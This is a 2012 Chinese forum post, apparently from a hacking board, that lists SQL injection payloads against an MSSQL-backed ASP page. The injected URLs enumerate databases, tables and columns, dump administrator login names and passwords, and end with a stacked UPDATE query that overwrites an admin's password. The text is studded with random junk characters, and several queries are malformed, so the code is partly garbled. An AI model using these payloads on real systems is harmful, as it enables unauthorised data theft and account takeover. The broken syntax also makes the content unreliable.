标题: MSSQL用union查询爆数据 [打印本页] 作者: admin 时间: 2012-9-15 14:26 标题: MSSQL用union查询爆数据 爆库: - {6 F. \# E. V3 j- T; ^http://duck/index.asp.id=10 UNION SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA.--" r# @+ y8 M% n% o' C
SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA.; D0 E8 I4 M& R: A/ z3 Q
爆下一个库:2 D3 J/ A% ?& v" w4 l: q
http://duck/index.asp.id=10 UNION SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA WHERE TABLE_NAME NOT IN ('库名')-- 6 i' w4 k" D% R' a U: f& N+ z3 f$ U. c! L2 H0 F1 P# v7 m
爆表:- n# ~' N9 W" a/ z2 k" h3 Q
http://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES-- ; i7 n7 D$ a7 \: c9 `7 y & J0 m) _5 g, mSELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES. ! M1 D3 p% S- {7 k6 h. l! Y# p# u: j/ N" C7 a& w
爆下一个表 0 B+ c3 Z8 P& K* {http://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')-- 6 K& B# s$ Z9 T; _2 I2 o: k8 s" H
http://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%login%'-- ' I7 v. w. I2 }" y& X+ k' v. @& C$ Q& b7 C0 `7 I# L
$ u" j; U- Y0 J
' R6 v9 L r5 e5 f9 G8 h
爆字段:5 h! Z* R4 P' C- M" p5 S5 D0 {* v
http://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'--# @. t- f: _ A( r
- R S$ K" `3 t爆下一个字段& n. c" a$ t) i. x
http://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')-- ( o: T1 ?; n$ F5 b. J- x6 k T- B5 o4 h! j8 }
http://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password',details')--4 F7 K+ C: O' h( m( Z# Z9 e5 q/ `; n
1 {9 G# {, `2 p- A& b
3 p' j" Y7 {& D* {5 d爆字段里的内容1 Y: Q! a T( B2 v1 {4 H( V$ e
http://duck/index.asp.id=10 UNION SELECT TOP 1 login_name FROM admin_login--5 y5 @1 g; v) I+ \/ m( }7 L: d
$ m+ r _, c2 C7 ^3 {# N. thttp://duck/index.asp.id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='neo'-- & b. S2 E( I3 Y& T( x5 J# D5 B 0 c: W8 j/ G" f0 u% a/ u Lhttp://duck/index.asp.id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='trinity'-- / P" h [# H1 u: h* S1 [& K ]! s$ P. o; W6 K% ]" `6 o
http://duck/index.asp.id=10 UNION SELECT TOP 1 convert(int,password.morpheus.) FROM admin_login where login_name='trinity'-- & R1 f" P) T- A- j8 _3 l( Y9 t, A/ u( i3 l* p* ~
更新字段里的内容7 r* ~0 w3 @, d* V6 H$ b& e& T
http://duck/index.asp.id=10; UPDATE .admin_login. SET .password. = .newpas5. WHERE login_name='neo'--2 w8 ?) z: Z% s, K